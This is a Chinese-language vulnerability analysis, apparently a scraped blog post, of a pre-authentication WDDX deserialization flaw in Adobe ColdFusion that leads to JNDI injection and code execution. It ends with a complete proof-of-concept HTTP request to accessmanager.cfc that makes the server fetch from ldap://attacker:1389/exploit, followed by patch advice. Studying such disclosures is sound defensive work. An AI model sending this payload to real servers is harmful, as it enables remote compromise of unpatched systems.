网站footer内容,深圳全网推广推荐,网页制作百度百科,企业人事管理系统1.漏洞描述
Adobe ColdFusion是一种服务器端的Web应用开发平台。它由Adobe Systems开发#xff0c;用于创建动态的、交互式的Web应用程序和网站。
Adobe ColdFusion在2018u17及之前版本、2021u7及之前版本和2023u1及之前版本中存在任意代码执行漏洞。该漏洞是由于反序列化不…1.漏洞描述
Adobe ColdFusion是一种服务器端的Web应用开发平台。它由Adobe Systems开发用于创建动态的、交互式的Web应用程序和网站。
Adobe ColdFusion在2018u17及之前版本、2021u7及之前版本和2023u1及之前版本中存在任意代码执行漏洞。该漏洞是由于反序列化不受信任数据漏洞的影响可能会导致任意代码执行。攻击者可利用该漏洞对目标有针对性的发起攻击危害站点系统安全。
2.影响版本
ColdFusion 2018u17
ColdFusion 2021u7
ColdFusion 2023u1
3.影响范围 4.漏洞分析
我们通过git diff看到coldfusion.wddx.DeserializerWorker.java文件 这是一个XML 类型的WDDX数据包解码器。在startElement方法中DeserializerWorker我们注意到新添加的验证是通过validateWddxFilter() struct参数执行的。 WDDX数据包的解析
wddxPacket version1.0header/datastruct typeclassNamevar nameprop_namestringprop_value/string/var/struct/data/wddxPacket
经过调试后发现Java 反射在某些代码块中被广泛使用这表明用户输入将经历反射调用。
这是解析过程中有趣部分的代码流程 onEndElement() - getClassBySignature() - setBeanProperties()
在该方法中如果 WDDX 数据包的结构元素中提供了 type 属性则会对该字段onEndElement()执行检查 通过此检查后将调用getClassbySignature()它使用反射来获取类实例。类名源自用户控制的输入m_strictType 有了类名后就可以使用反射来访问类的构造函数没有参数的构造函数并实例化类的实例。然后将此实例与用户控制的m_ht字段一起传递给setBeanProperties该字段包含WDDX变量。 如果bean有任何setter方法它将被返回并最终通过Java Reflections在bean上调用变量的值是唯一的参数这些变量的值来自用户控制的WDDX数据包。
在我们通过搜索WddxDeserializer的代码进行分析的过程中我们发现了一个FilterUtils类的调用。 在GetArgumentCollection方法中使用的。从表单或查询字符串中提取argumentCollection参数。然后检查检索到的输入以确定它是否为JSON类型。如果不是则使用WDDXDeserialize调用将该值反序列化为WDDX数据包。 在我们的分析中预授权CFC端点触发对GetArgumentCollection的调用并最终触发对易受攻击的接收器的调用即WDDXDeserialize。 /CFDE/adminapi/accessmanager.cfc是预授权有效的cfc端点
我们选择了一个满足指定要求的简单类java.util.Date我们在请求中创建了一个类似于以下内容的WDDX数据包。 我们能够确认对java.util.Date.setDateour_input的调用已成功执行。
我们看看com.sun.rowset.JdbcRowSetImpl类如果将布尔参数传递给此类的setAutoCommit方法它将对dataSourceName执行JNDI查找该查找可以使用setDataSourceName方法进行设置。在调用setDataSourceName之后再调用setAutoCommit会导致JNDI注入漏洞。需要注意的是在进行方法调用时我们处于for循环中因此我们能够在bean实例上调用多个方法。
我们通过WDDX反序列化升级到JNDI注入。 Poc
POST /CFIDE/adminapi/accessmanager.cfc?methodfoo_cfclienttrue HTTP/2Host: localhostAccept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q0.9,en;q0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36Cache-Control: max-age0Content-Type: application/x-www-form-urlencodedContent-Length: 266argumentCollectionwddxPacket version1.0header/datastruct typexcom.sun.rowset.JdbcRowSetImplxvar namedataSourceNamestringldap://attacker:1389/exploit/string/varvar nameautoCommitboolean valuetrue//var/struct/data/wddxPacket
5.修复建议
目前官方已发布新版已经修复此漏洞并且为受影响版本发布了补丁建议用户尽快升级至最新版本。
官方下载地址
https://helpx.adobe.com/security/products/coldfusion/apsb23-41.html